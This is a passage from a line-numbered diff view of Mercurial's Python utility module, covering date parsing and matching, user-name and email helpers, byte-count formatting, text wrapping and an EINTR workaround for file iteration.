1898 | 1910 | >>> datestr((0x7fffffff, 0)) |
|
1899 | 1911 | 'Tue Jan 19 03:14:07 2038 +0000' |
|
1900 | 1912 | >>> datestr((-0x80000000, 0)) |
|
1901 | 1913 | 'Fri Dec 13 20:45:52 1901 +0000' |
|
1902 | 1914 | """ |
|
1903 | 1915 | t, tz = date or makedate() |
|
1904 | 1916 | if "%1" in format or "%2" in format or "%z" in format: |
|
1905 | 1917 | sign = (tz > 0) and "-" or "+" |
|
1906 | 1918 | minutes = abs(tz) // 60 |
|
1907 | 1919 | q, r = divmod(minutes, 60) |
|
1908 | 1920 | format = format.replace("%z", "%1%2") |
|
1909 | 1921 | format = format.replace("%1", "%c%02d" % (sign, q)) |
|
1910 | 1922 | format = format.replace("%2", "%02d" % r) |
|
1911 | 1923 | d = t - tz |
|
1912 | 1924 | if d > 0x7fffffff: |
|
1913 | 1925 | d = 0x7fffffff |
|
1914 | 1926 | elif d < -0x80000000: |
|
1915 | 1927 | d = -0x80000000 |
|
1916 | 1928 | # Never use time.gmtime() and datetime.datetime.fromtimestamp() |
|
1917 | 1929 | # because they use the gmtime() system call which is buggy on Windows |
|
1918 | 1930 | # for negative values. |
|
1919 | 1931 | t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d) |
|
1920 | 1932 | s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format))) |
|
1921 | 1933 | return s |
|
1922 | 1934 | |
|
1923 | 1935 | def shortdate(date=None): |
|
1924 | 1936 | """turn (timestamp, tzoff) tuple into iso 8631 date.""" |
|
1925 | 1937 | return datestr(date, format='%Y-%m-%d') |
|
1926 | 1938 | |
|
1927 | 1939 | def parsetimezone(s): |
|
1928 | 1940 | """find a trailing timezone, if any, in string, and return a |
|
1929 | 1941 | (offset, remainder) pair""" |
|
1930 | 1942 | |
|
1931 | 1943 | if s.endswith("GMT") or s.endswith("UTC"): |
|
1932 | 1944 | return 0, s[:-3].rstrip() |
|
1933 | 1945 | |
|
1934 | 1946 | # Unix-style timezones [+-]hhmm |
|
1935 | 1947 | if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit(): |
|
1936 | 1948 | sign = (s[-5] == "+") and 1 or -1 |
|
1937 | 1949 | hours = int(s[-4:-2]) |
|
1938 | 1950 | minutes = int(s[-2:]) |
|
1939 | 1951 | return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip() |
|
1940 | 1952 | |
|
1941 | 1953 | # ISO8601 trailing Z |
|
1942 | 1954 | if s.endswith("Z") and s[-2:-1].isdigit(): |
|
1943 | 1955 | return 0, s[:-1] |
|
1944 | 1956 | |
|
1945 | 1957 | # ISO8601-style [+-]hh:mm |
|
1946 | 1958 | if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and |
|
1947 | 1959 | s[-5:-3].isdigit() and s[-2:].isdigit()): |
|
1948 | 1960 | sign = (s[-6] == "+") and 1 or -1 |
|
1949 | 1961 | hours = int(s[-5:-3]) |
|
1950 | 1962 | minutes = int(s[-2:]) |
|
1951 | 1963 | return -sign * (hours * 60 + minutes) * 60, s[:-6] |
|
1952 | 1964 | |
|
1953 | 1965 | return None, s |
|
1954 | 1966 | |
|
1955 | 1967 | def strdate(string, format, defaults=None): |
|
1956 | 1968 | """parse a localized time string and return a (unixtime, offset) tuple. |
|
1957 | 1969 | if the string cannot be parsed, ValueError is raised.""" |
|
1958 | 1970 | if defaults is None: |
|
1959 | 1971 | defaults = {} |
|
1960 | 1972 | |
|
1961 | 1973 | # NOTE: unixtime = localunixtime + offset |
|
1962 | 1974 | offset, date = parsetimezone(string) |
|
1963 | 1975 | |
|
1964 | 1976 | # add missing elements from defaults |
|
1965 | 1977 | usenow = False # default to using biased defaults |
|
1966 | 1978 | for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity |
|
1967 | 1979 | part = pycompat.bytestr(part) |
|
1968 | 1980 | found = [True for p in part if ("%"+p) in format] |
|
1969 | 1981 | if not found: |
|
1970 | 1982 | date += "@" + defaults[part][usenow] |
|
1971 | 1983 | format += "@%" + part[0] |
|
1972 | 1984 | else: |
|
1973 | 1985 | # We've found a specific time element, less specific time |
|
1974 | 1986 | # elements are relative to today |
|
1975 | 1987 | usenow = True |
|
1976 | 1988 | |
|
1977 | 1989 | timetuple = time.strptime(encoding.strfromlocal(date), |
|
1978 | 1990 | encoding.strfromlocal(format)) |
|
1979 | 1991 | localunixtime = int(calendar.timegm(timetuple)) |
|
1980 | 1992 | if offset is None: |
|
1981 | 1993 | # local timezone |
|
1982 | 1994 | unixtime = int(time.mktime(timetuple)) |
|
1983 | 1995 | offset = unixtime - localunixtime |
|
1984 | 1996 | else: |
|
1985 | 1997 | unixtime = localunixtime + offset |
|
1986 | 1998 | return unixtime, offset |
|
1987 | 1999 | |
|
1988 | 2000 | def parsedate(date, formats=None, bias=None): |
|
1989 | 2001 | """parse a localized date/time and return a (unixtime, offset) tuple. |
|
1990 | 2002 | |
|
1991 | 2003 | The date may be a "unixtime offset" string or in one of the specified |
|
1992 | 2004 | formats. If the date already is a (unixtime, offset) tuple, it is returned. |
|
1993 | 2005 | |
|
1994 | 2006 | >>> parsedate(' today ') == parsedate(\ |
|
1995 | 2007 | datetime.date.today().strftime('%b %d')) |
|
1996 | 2008 | True |
|
1997 | 2009 | >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\ |
|
1998 | 2010 | datetime.timedelta(days=1)\ |
|
1999 | 2011 | ).strftime('%b %d')) |
|
2000 | 2012 | True |
|
2001 | 2013 | >>> now, tz = makedate() |
|
2002 | 2014 | >>> strnow, strtz = parsedate('now') |
|
2003 | 2015 | >>> (strnow - now) < 1 |
|
2004 | 2016 | True |
|
2005 | 2017 | >>> tz == strtz |
|
2006 | 2018 | True |
|
2007 | 2019 | """ |
|
2008 | 2020 | if bias is None: |
|
2009 | 2021 | bias = {} |
|
2010 | 2022 | if not date: |
|
2011 | 2023 | return 0, 0 |
|
2012 | 2024 | if isinstance(date, tuple) and len(date) == 2: |
|
2013 | 2025 | return date |
|
2014 | 2026 | if not formats: |
|
2015 | 2027 | formats = defaultdateformats |
|
2016 | 2028 | date = date.strip() |
|
2017 | 2029 | |
|
2018 | 2030 | if date == 'now' or date == _('now'): |
|
2019 | 2031 | return makedate() |
|
2020 | 2032 | if date == 'today' or date == _('today'): |
|
2021 | 2033 | date = datetime.date.today().strftime('%b %d') |
|
2022 | 2034 | elif date == 'yesterday' or date == _('yesterday'): |
|
2023 | 2035 | date = (datetime.date.today() - |
|
2024 | 2036 | datetime.timedelta(days=1)).strftime('%b %d') |
|
2025 | 2037 | |
|
2026 | 2038 | try: |
|
2027 | 2039 | when, offset = map(int, date.split(' ')) |
|
2028 | 2040 | except ValueError: |
|
2029 | 2041 | # fill out defaults |
|
2030 | 2042 | now = makedate() |
|
2031 | 2043 | defaults = {} |
|
2032 | 2044 | for part in ("d", "mb", "yY", "HI", "M", "S"): |
|
2033 | 2045 | # this piece is for rounding the specific end of unknowns |
|
2034 | 2046 | b = bias.get(part) |
|
2035 | 2047 | if b is None: |
|
2036 | 2048 | if part[0:1] in "HMS": |
|
2037 | 2049 | b = "00" |
|
2038 | 2050 | else: |
|
2039 | 2051 | b = "0" |
|
2040 | 2052 | |
|
2041 | 2053 | # this piece is for matching the generic end to today's date |
|
2042 | 2054 | n = datestr(now, "%" + part[0:1]) |
|
2043 | 2055 | |
|
2044 | 2056 | defaults[part] = (b, n) |
|
2045 | 2057 | |
|
2046 | 2058 | for format in formats: |
|
2047 | 2059 | try: |
|
2048 | 2060 | when, offset = strdate(date, format, defaults) |
|
2049 | 2061 | except (ValueError, OverflowError): |
|
2050 | 2062 | pass |
|
2051 | 2063 | else: |
|
2052 | 2064 | break |
|
2053 | 2065 | else: |
|
2054 | 2066 | raise error.ParseError(_('invalid date: %r') % date) |
|
2055 | 2067 | # validate explicit (probably user-specified) date and |
|
2056 | 2068 | # time zone offset. values must fit in signed 32 bits for |
|
2057 | 2069 | # current 32-bit linux runtimes. timezones go from UTC-12 |
|
2058 | 2070 | # to UTC+14 |
|
2059 | 2071 | if when < -0x80000000 or when > 0x7fffffff: |
|
2060 | 2072 | raise error.ParseError(_('date exceeds 32 bits: %d') % when) |
|
2061 | 2073 | if offset < -50400 or offset > 43200: |
|
2062 | 2074 | raise error.ParseError(_('impossible time zone offset: %d') % offset) |
|
2063 | 2075 | return when, offset |
|
2064 | 2076 | |
|
2065 | 2077 | def matchdate(date): |
|
2066 | 2078 | """Return a function that matches a given date match specifier |
|
2067 | 2079 | |
|
2068 | 2080 | Formats include: |
|
2069 | 2081 | |
|
2070 | 2082 | '{date}' match a given date to the accuracy provided |
|
2071 | 2083 | |
|
2072 | 2084 | '<{date}' on or before a given date |
|
2073 | 2085 | |
|
2074 | 2086 | '>{date}' on or after a given date |
|
2075 | 2087 | |
|
2076 | 2088 | >>> p1 = parsedate("10:29:59") |
|
2077 | 2089 | >>> p2 = parsedate("10:30:00") |
|
2078 | 2090 | >>> p3 = parsedate("10:30:59") |
|
2079 | 2091 | >>> p4 = parsedate("10:31:00") |
|
2080 | 2092 | >>> p5 = parsedate("Sep 15 10:30:00 1999") |
|
2081 | 2093 | >>> f = matchdate("10:30") |
|
2082 | 2094 | >>> f(p1[0]) |
|
2083 | 2095 | False |
|
2084 | 2096 | >>> f(p2[0]) |
|
2085 | 2097 | True |
|
2086 | 2098 | >>> f(p3[0]) |
|
2087 | 2099 | True |
|
2088 | 2100 | >>> f(p4[0]) |
|
2089 | 2101 | False |
|
2090 | 2102 | >>> f(p5[0]) |
|
2091 | 2103 | False |
|
2092 | 2104 | """ |
|
2093 | 2105 | |
|
2094 | 2106 | def lower(date): |
|
2095 | 2107 | d = {'mb': "1", 'd': "1"} |
|
2096 | 2108 | return parsedate(date, extendeddateformats, d)[0] |
|
2097 | 2109 | |
|
2098 | 2110 | def upper(date): |
|
2099 | 2111 | d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"} |
|
2100 | 2112 | for days in ("31", "30", "29"): |
|
2101 | 2113 | try: |
|
2102 | 2114 | d["d"] = days |
|
2103 | 2115 | return parsedate(date, extendeddateformats, d)[0] |
|
2104 | 2116 | except Abort: |
|
2105 | 2117 | pass |
|
2106 | 2118 | d["d"] = "28" |
|
2107 | 2119 | return parsedate(date, extendeddateformats, d)[0] |
|
2108 | 2120 | |
|
2109 | 2121 | date = date.strip() |
|
2110 | 2122 | |
|
2111 | 2123 | if not date: |
|
2112 | 2124 | raise Abort(_("dates cannot consist entirely of whitespace")) |
|
2113 | 2125 | elif date[0] == "<": |
|
2114 | 2126 | if not date[1:]: |
|
2115 | 2127 | raise Abort(_("invalid day spec, use '<DATE'")) |
|
2116 | 2128 | when = upper(date[1:]) |
|
2117 | 2129 | return lambda x: x <= when |
|
2118 | 2130 | elif date[0] == ">": |
|
2119 | 2131 | if not date[1:]: |
|
2120 | 2132 | raise Abort(_("invalid day spec, use '>DATE'")) |
|
2121 | 2133 | when = lower(date[1:]) |
|
2122 | 2134 | return lambda x: x >= when |
|
2123 | 2135 | elif date[0] == "-": |
|
2124 | 2136 | try: |
|
2125 | 2137 | days = int(date[1:]) |
|
2126 | 2138 | except ValueError: |
|
2127 | 2139 | raise Abort(_("invalid day spec: %s") % date[1:]) |
|
2128 | 2140 | if days < 0: |
|
2129 | 2141 | raise Abort(_("%s must be nonnegative (see 'hg help dates')") |
|
2130 | 2142 | % date[1:]) |
|
2131 | 2143 | when = makedate()[0] - days * 3600 * 24 |
|
2132 | 2144 | return lambda x: x >= when |
|
2133 | 2145 | elif " to " in date: |
|
2134 | 2146 | a, b = date.split(" to ") |
|
2135 | 2147 | start, stop = lower(a), upper(b) |
|
2136 | 2148 | return lambda x: x >= start and x <= stop |
|
2137 | 2149 | else: |
|
2138 | 2150 | start, stop = lower(date), upper(date) |
|
2139 | 2151 | return lambda x: x >= start and x <= stop |
|
2140 | 2152 | |
|
2141 | 2153 | def stringmatcher(pattern, casesensitive=True): |
|
2142 | 2154 | """ |
|
2143 | 2155 | accepts a string, possibly starting with 're:' or 'literal:' prefix. |
|
2144 | 2156 | returns the matcher name, pattern, and matcher function. |
|
2145 | 2157 | missing or unknown prefixes are treated as literal matches. |
|
2146 | 2158 | |
|
2147 | 2159 | helper for tests: |
|
2148 | 2160 | >>> def test(pattern, *tests): |
|
2149 | 2161 | ... kind, pattern, matcher = stringmatcher(pattern) |
|
2150 | 2162 | ... return (kind, pattern, [bool(matcher(t)) for t in tests]) |
|
2151 | 2163 | >>> def itest(pattern, *tests): |
|
2152 | 2164 | ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False) |
|
2153 | 2165 | ... return (kind, pattern, [bool(matcher(t)) for t in tests]) |
|
2154 | 2166 | |
|
2155 | 2167 | exact matching (no prefix): |
|
2156 | 2168 | >>> test('abcdefg', 'abc', 'def', 'abcdefg') |
|
2157 | 2169 | ('literal', 'abcdefg', [False, False, True]) |
|
2158 | 2170 | |
|
2159 | 2171 | regex matching ('re:' prefix) |
|
2160 | 2172 | >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar') |
|
2161 | 2173 | ('re', 'a.+b', [False, False, True]) |
|
2162 | 2174 | |
|
2163 | 2175 | force exact matches ('literal:' prefix) |
|
2164 | 2176 | >>> test('literal:re:foobar', 'foobar', 're:foobar') |
|
2165 | 2177 | ('literal', 're:foobar', [False, True]) |
|
2166 | 2178 | |
|
2167 | 2179 | unknown prefixes are ignored and treated as literals |
|
2168 | 2180 | >>> test('foo:bar', 'foo', 'bar', 'foo:bar') |
|
2169 | 2181 | ('literal', 'foo:bar', [False, False, True]) |
|
2170 | 2182 | |
|
2171 | 2183 | case insensitive regex matches |
|
2172 | 2184 | >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar') |
|
2173 | 2185 | ('re', 'A.+b', [False, False, True]) |
|
2174 | 2186 | |
|
2175 | 2187 | case insensitive literal matches |
|
2176 | 2188 | >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg') |
|
2177 | 2189 | ('literal', 'ABCDEFG', [False, False, True]) |
|
2178 | 2190 | """ |
|
2179 | 2191 | if pattern.startswith('re:'): |
|
2180 | 2192 | pattern = pattern[3:] |
|
2181 | 2193 | try: |
|
2182 | 2194 | flags = 0 |
|
2183 | 2195 | if not casesensitive: |
|
2184 | 2196 | flags = remod.I |
|
2185 | 2197 | regex = remod.compile(pattern, flags) |
|
2186 | 2198 | except remod.error as e: |
|
2187 | 2199 | raise error.ParseError(_('invalid regular expression: %s') |
|
2188 | 2200 | % e) |
|
2189 | 2201 | return 're', pattern, regex.search |
|
2190 | 2202 | elif pattern.startswith('literal:'): |
|
2191 | 2203 | pattern = pattern[8:] |
|
2192 | 2204 | |
|
2193 | 2205 | match = pattern.__eq__ |
|
2194 | 2206 | |
|
2195 | 2207 | if not casesensitive: |
|
2196 | 2208 | ipat = encoding.lower(pattern) |
|
2197 | 2209 | match = lambda s: ipat == encoding.lower(s) |
|
2198 | 2210 | return 'literal', pattern, match |
|
2199 | 2211 | |
|
2200 | 2212 | def shortuser(user): |
|
2201 | 2213 | """Return a short representation of a user name or email address.""" |
|
2202 | 2214 | f = user.find('@') |
|
2203 | 2215 | if f >= 0: |
|
2204 | 2216 | user = user[:f] |
|
2205 | 2217 | f = user.find('<') |
|
2206 | 2218 | if f >= 0: |
|
2207 | 2219 | user = user[f + 1:] |
|
2208 | 2220 | f = user.find(' ') |
|
2209 | 2221 | if f >= 0: |
|
2210 | 2222 | user = user[:f] |
|
2211 | 2223 | f = user.find('.') |
|
2212 | 2224 | if f >= 0: |
|
2213 | 2225 | user = user[:f] |
|
2214 | 2226 | return user |
|
2215 | 2227 | |
|
2216 | 2228 | def emailuser(user): |
|
2217 | 2229 | """Return the user portion of an email address.""" |
|
2218 | 2230 | f = user.find('@') |
|
2219 | 2231 | if f >= 0: |
|
2220 | 2232 | user = user[:f] |
|
2221 | 2233 | f = user.find('<') |
|
2222 | 2234 | if f >= 0: |
|
2223 | 2235 | user = user[f + 1:] |
|
2224 | 2236 | return user |
|
2225 | 2237 | |
|
2226 | 2238 | def email(author): |
|
2227 | 2239 | '''get email of author.''' |
|
2228 | 2240 | r = author.find('>') |
|
2229 | 2241 | if r == -1: |
|
2230 | 2242 | r = None |
|
2231 | 2243 | return author[author.find('<') + 1:r] |
|
2232 | 2244 | |
|
2233 | 2245 | def ellipsis(text, maxlength=400): |
|
2234 | 2246 | """Trim string to at most maxlength (default: 400) columns in display.""" |
|
2235 | 2247 | return encoding.trim(text, maxlength, ellipsis='...') |
|
2236 | 2248 | |
|
2237 | 2249 | def unitcountfn(*unittable): |
|
2238 | 2250 | '''return a function that renders a readable count of some quantity''' |
|
2239 | 2251 | |
|
2240 | 2252 | def go(count): |
|
2241 | 2253 | for multiplier, divisor, format in unittable: |
|
2242 | 2254 | if abs(count) >= divisor * multiplier: |
|
2243 | 2255 | return format % (count / float(divisor)) |
|
2244 | 2256 | return unittable[-1][2] % count |
|
2245 | 2257 | |
|
2246 | 2258 | return go |
|
2247 | 2259 | |
|
2248 | 2260 | def processlinerange(fromline, toline): |
|
2249 | 2261 | """Check that linerange <fromline>:<toline> makes sense and return a |
|
2250 | 2262 | 0-based range. |
|
2251 | 2263 | |
|
2252 | 2264 | >>> processlinerange(10, 20) |
|
2253 | 2265 | (9, 20) |
|
2254 | 2266 | >>> processlinerange(2, 1) |
|
2255 | 2267 | Traceback (most recent call last): |
|
2256 | 2268 | ... |
|
2257 | 2269 | ParseError: line range must be positive |
|
2258 | 2270 | >>> processlinerange(0, 5) |
|
2259 | 2271 | Traceback (most recent call last): |
|
2260 | 2272 | ... |
|
2261 | 2273 | ParseError: fromline must be strictly positive |
|
2262 | 2274 | """ |
|
2263 | 2275 | if toline - fromline < 0: |
|
2264 | 2276 | raise error.ParseError(_("line range must be positive")) |
|
2265 | 2277 | if fromline < 1: |
|
2266 | 2278 | raise error.ParseError(_("fromline must be strictly positive")) |
|
2267 | 2279 | return fromline - 1, toline |
|
2268 | 2280 | |
|
2269 | 2281 | bytecount = unitcountfn( |
|
2270 | 2282 | (100, 1 << 30, _('%.0f GB')), |
|
2271 | 2283 | (10, 1 << 30, _('%.1f GB')), |
|
2272 | 2284 | (1, 1 << 30, _('%.2f GB')), |
|
2273 | 2285 | (100, 1 << 20, _('%.0f MB')), |
|
2274 | 2286 | (10, 1 << 20, _('%.1f MB')), |
|
2275 | 2287 | (1, 1 << 20, _('%.2f MB')), |
|
2276 | 2288 | (100, 1 << 10, _('%.0f KB')), |
|
2277 | 2289 | (10, 1 << 10, _('%.1f KB')), |
|
2278 | 2290 | (1, 1 << 10, _('%.2f KB')), |
|
2279 | 2291 | (1, 1, _('%.0f bytes')), |
|
2280 | 2292 | ) |
|
2281 | 2293 | |
|
2282 | 2294 | # Matches a single EOL which can either be a CRLF where repeated CR |
|
2283 | 2295 | # are removed or a LF. We do not care about old Macintosh files, so a |
|
2284 | 2296 | # stray CR is an error. |
|
2285 | 2297 | _eolre = remod.compile(br'\r*\n') |
|
2286 | 2298 | |
|
2287 | 2299 | def tolf(s): |
|
2288 | 2300 | return _eolre.sub('\n', s) |
|
2289 | 2301 | |
|
2290 | 2302 | def tocrlf(s): |
|
2291 | 2303 | return _eolre.sub('\r\n', s) |
|
2292 | 2304 | |
|
2293 | 2305 | if pycompat.oslinesep == '\r\n': |
|
2294 | 2306 | tonativeeol = tocrlf |
|
2295 | 2307 | fromnativeeol = tolf |
|
2296 | 2308 | else: |
|
2297 | 2309 | tonativeeol = pycompat.identity |
|
2298 | 2310 | fromnativeeol = pycompat.identity |
|
2299 | 2311 | |
|
2300 | 2312 | def escapestr(s): |
|
2301 | 2313 | # call underlying function of s.encode('string_escape') directly for |
|
2302 | 2314 | # Python 3 compatibility |
|
2303 | 2315 | return codecs.escape_encode(s)[0] |
|
2304 | 2316 | |
|
2305 | 2317 | def unescapestr(s): |
|
2306 | 2318 | return codecs.escape_decode(s)[0] |
|
2307 | 2319 | |
|
2308 | 2320 | def forcebytestr(obj): |
|
2309 | 2321 | """Portably format an arbitrary object (e.g. exception) into a byte |
|
2310 | 2322 | string.""" |
|
2311 | 2323 | try: |
|
2312 | 2324 | return pycompat.bytestr(obj) |
|
2313 | 2325 | except UnicodeEncodeError: |
|
2314 | 2326 | # non-ascii string, may be lossy |
|
2315 | 2327 | return pycompat.bytestr(encoding.strtolocal(str(obj))) |
|
2316 | 2328 | |
|
2317 | 2329 | def uirepr(s): |
|
2318 | 2330 | # Avoid double backslash in Windows path repr() |
|
2319 | 2331 | return repr(s).replace('\\\\', '\\') |
|
2320 | 2332 | |
|
2321 | 2333 | # delay import of textwrap |
|
2322 | 2334 | def MBTextWrapper(**kwargs): |
|
2323 | 2335 | class tw(textwrap.TextWrapper): |
|
2324 | 2336 | """ |
|
2325 | 2337 | Extend TextWrapper for width-awareness. |
|
2326 | 2338 | |
|
2327 | 2339 | Neither number of 'bytes' in any encoding nor 'characters' is |
|
2328 | 2340 | appropriate to calculate terminal columns for specified string. |
|
2329 | 2341 | |
|
2330 | 2342 | Original TextWrapper implementation uses built-in 'len()' directly, |
|
2331 | 2343 | so overriding is needed to use width information of each characters. |
|
2332 | 2344 | |
|
2333 | 2345 | In addition, characters classified into 'ambiguous' width are |
|
2334 | 2346 | treated as wide in East Asian area, but as narrow in other. |
|
2335 | 2347 | |
|
2336 | 2348 | This requires use decision to determine width of such characters. |
|
2337 | 2349 | """ |
|
2338 | 2350 | def _cutdown(self, ucstr, space_left): |
|
2339 | 2351 | l = 0 |
|
2340 | 2352 | colwidth = encoding.ucolwidth |
|
2341 | 2353 | for i in xrange(len(ucstr)): |
|
2342 | 2354 | l += colwidth(ucstr[i]) |
|
2343 | 2355 | if space_left < l: |
|
2344 | 2356 | return (ucstr[:i], ucstr[i:]) |
|
2345 | 2357 | return ucstr, '' |
|
2346 | 2358 | |
|
2347 | 2359 | # overriding of base class |
|
2348 | 2360 | def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width): |
|
2349 | 2361 | space_left = max(width - cur_len, 1) |
|
2350 | 2362 | |
|
2351 | 2363 | if self.break_long_words: |
|
2352 | 2364 | cut, res = self._cutdown(reversed_chunks[-1], space_left) |
|
2353 | 2365 | cur_line.append(cut) |
|
2354 | 2366 | reversed_chunks[-1] = res |
|
2355 | 2367 | elif not cur_line: |
|
2356 | 2368 | cur_line.append(reversed_chunks.pop()) |
|
2357 | 2369 | |
|
2358 | 2370 | # this overriding code is imported from TextWrapper of Python 2.6 |
|
2359 | 2371 | # to calculate columns of string by 'encoding.ucolwidth()' |
|
2360 | 2372 | def _wrap_chunks(self, chunks): |
|
2361 | 2373 | colwidth = encoding.ucolwidth |
|
2362 | 2374 | |
|
2363 | 2375 | lines = [] |
|
2364 | 2376 | if self.width <= 0: |
|
2365 | 2377 | raise ValueError("invalid width %r (must be > 0)" % self.width) |
|
2366 | 2378 | |
|
2367 | 2379 | # Arrange in reverse order so items can be efficiently popped |
|
2368 | 2380 | # from a stack of chucks. |
|
2369 | 2381 | chunks.reverse() |
|
2370 | 2382 | |
|
2371 | 2383 | while chunks: |
|
2372 | 2384 | |
|
2373 | 2385 | # Start the list of chunks that will make up the current line. |
|
2374 | 2386 | # cur_len is just the length of all the chunks in cur_line. |
|
2375 | 2387 | cur_line = [] |
|
2376 | 2388 | cur_len = 0 |
|
2377 | 2389 | |
|
2378 | 2390 | # Figure out which static string will prefix this line. |
|
2379 | 2391 | if lines: |
|
2380 | 2392 | indent = self.subsequent_indent |
|
2381 | 2393 | else: |
|
2382 | 2394 | indent = self.initial_indent |
|
2383 | 2395 | |
|
2384 | 2396 | # Maximum width for this line. |
|
2385 | 2397 | width = self.width - len(indent) |
|
2386 | 2398 | |
|
2387 | 2399 | # First chunk on line is whitespace -- drop it, unless this |
|
2388 | 2400 | # is the very beginning of the text (i.e. no lines started yet). |
|
2389 | 2401 | if self.drop_whitespace and chunks[-1].strip() == r'' and lines: |
|
2390 | 2402 | del chunks[-1] |
|
2391 | 2403 | |
|
2392 | 2404 | while chunks: |
|
2393 | 2405 | l = colwidth(chunks[-1]) |
|
2394 | 2406 | |
|
2395 | 2407 | # Can at least squeeze this chunk onto the current line. |
|
2396 | 2408 | if cur_len + l <= width: |
|
2397 | 2409 | cur_line.append(chunks.pop()) |
|
2398 | 2410 | cur_len += l |
|
2399 | 2411 | |
|
2400 | 2412 | # Nope, this line is full. |
|
2401 | 2413 | else: |
|
2402 | 2414 | break |
|
2403 | 2415 | |
|
2404 | 2416 | # The current line is full, and the next chunk is too big to |
|
2405 | 2417 | # fit on *any* line (not just this one). |
|
2406 | 2418 | if chunks and colwidth(chunks[-1]) > width: |
|
2407 | 2419 | self._handle_long_word(chunks, cur_line, cur_len, width) |
|
2408 | 2420 | |
|
2409 | 2421 | # If the last chunk on this line is all whitespace, drop it. |
|
2410 | 2422 | if (self.drop_whitespace and |
|
2411 | 2423 | cur_line and cur_line[-1].strip() == r''): |
|
2412 | 2424 | del cur_line[-1] |
|
2413 | 2425 | |
|
2414 | 2426 | # Convert current line back to a string and store it in list |
|
2415 | 2427 | # of all lines (return value). |
|
2416 | 2428 | if cur_line: |
|
2417 | 2429 | lines.append(indent + r''.join(cur_line)) |
|
2418 | 2430 | |
|
2419 | 2431 | return lines |
|
2420 | 2432 | |
|
2421 | 2433 | global MBTextWrapper |
|
2422 | 2434 | MBTextWrapper = tw |
|
2423 | 2435 | return tw(**kwargs) |
|
2424 | 2436 | |
|
2425 | 2437 | def wrap(line, width, initindent='', hangindent=''): |
|
2426 | 2438 | maxindent = max(len(hangindent), len(initindent)) |
|
2427 | 2439 | if width <= maxindent: |
|
2428 | 2440 | # adjust for weird terminal size |
|
2429 | 2441 | width = max(78, maxindent + 1) |
|
2430 | 2442 | line = line.decode(pycompat.sysstr(encoding.encoding), |
|
2431 | 2443 | pycompat.sysstr(encoding.encodingmode)) |
|
2432 | 2444 | initindent = initindent.decode(pycompat.sysstr(encoding.encoding), |
|
2433 | 2445 | pycompat.sysstr(encoding.encodingmode)) |
|
2434 | 2446 | hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding), |
|
2435 | 2447 | pycompat.sysstr(encoding.encodingmode)) |
|
2436 | 2448 | wrapper = MBTextWrapper(width=width, |
|
2437 | 2449 | initial_indent=initindent, |
|
2438 | 2450 | subsequent_indent=hangindent) |
|
2439 | 2451 | return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding)) |
|
2440 | 2452 | |
|
2441 | 2453 | if (pyplatform.python_implementation() == 'CPython' and |
|
2442 | 2454 | sys.version_info < (3, 0)): |
|
2443 | 2455 | # There is an issue in CPython that some IO methods do not handle EINTR |
|
2444 | 2456 | # correctly. The following table shows what CPython version (and functions) |
|
2445 | 2457 | # are affected (buggy: has the EINTR bug, okay: otherwise): |
|
2446 | 2458 | # |
|
2447 | 2459 | # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
|
2448 | 2460 | # -------------------------------------------------- |
|
2449 | 2461 | # fp.__iter__ | buggy | buggy | okay |
|
2450 | 2462 | # fp.read* | buggy | okay [1] | okay |
|
2451 | 2463 | # |
|
2452 | 2464 | # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
|
2453 | 2465 | # |
|
2454 | 2466 | # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
|
2455 | 2467 | # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
|
2456 | 2468 | # |
|
2457 | 2469 | # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
|
2458 | 2470 | # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
|
2459 | 2471 | # CPython 2, because CPython 2 maintains an internal readahead buffer for |
|
2460 | 2472 | # fp.__iter__ but not other fp.read* methods. |
|
2461 | 2473 | # |
|
2462 | 2474 | # On modern systems like Linux, the "read" syscall cannot be interrupted |
|
2463 | 2475 | # when reading "fast" files like on-disk files. So the EINTR issue only |
|
2464 | 2476 | # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
|
2465 | 2477 | # files approximately as "fast" files and use the fast (unsafe) code path, |
|
2466 | 2478 | # to minimize the performance impact. |
|
2467 | 2479 | if sys.version_info >= (2, 7, 4): |
|
2468 | 2480 | # fp.readline deals with EINTR correctly, use it as a workaround. |
|
2469 | 2481 | def _safeiterfile(fp): |
|
2470 | 2482 | return iter(fp.readline, '') |
|
2471 | 2483 | else: |
|
2472 | 2484 | # fp.read* are broken too, manually deal with EINTR in a stupid way. |
|
2473 | 2485 | # note: this may block longer than necessary because of bufsize. |
|
2474 | 2486 | def _safeiterfile(fp, bufsize=4096): |
|
2475 | 2487 | fd = fp.fileno() |
|
2476 | 2488 | line = '' |
|
2477 | 2489 | while True: |
|
2478 | 2490 | try: |
|
2479 | 2491 | buf = os.read(fd, bufsize) |
|
2480 | 2492 | except OSError as ex: |
|
2481 | 2493 | # os.read only raises EINTR before any data is read |
|
2482 | 2494 | if ex.errno == errno.EINTR: |
|
2483 | 2495 | continue |
|
2484 | 2496 | else: |
|
2485 | 2497 | raise |
|
2486 | 2498 | line += buf |
|
2487 | 2499 | if '\n' in buf: |
|
2488 | 2500 | splitted = line.splitlines(True) |
|
2489 | 2501 | line = '' |
|
2490 | 2502 | for l in splitted: |
|
2491 | 2503 | if l[-1] == '\n': |
|
2492 | 2504 | yield l |
|
2493 | 2505 | else: |
|
2494 | 2506 | line = l |
|
2495 | 2507 | if not buf: |
|
2496 | 2508 | break |
|
2497 | 2509 | if line: |
|
2498 | 2510 | yield line |
|
2499 | 2511 | |
|
2500 | 2512 | def iterfile(fp): |
|
2501 | 2513 | fastpath = True |
|
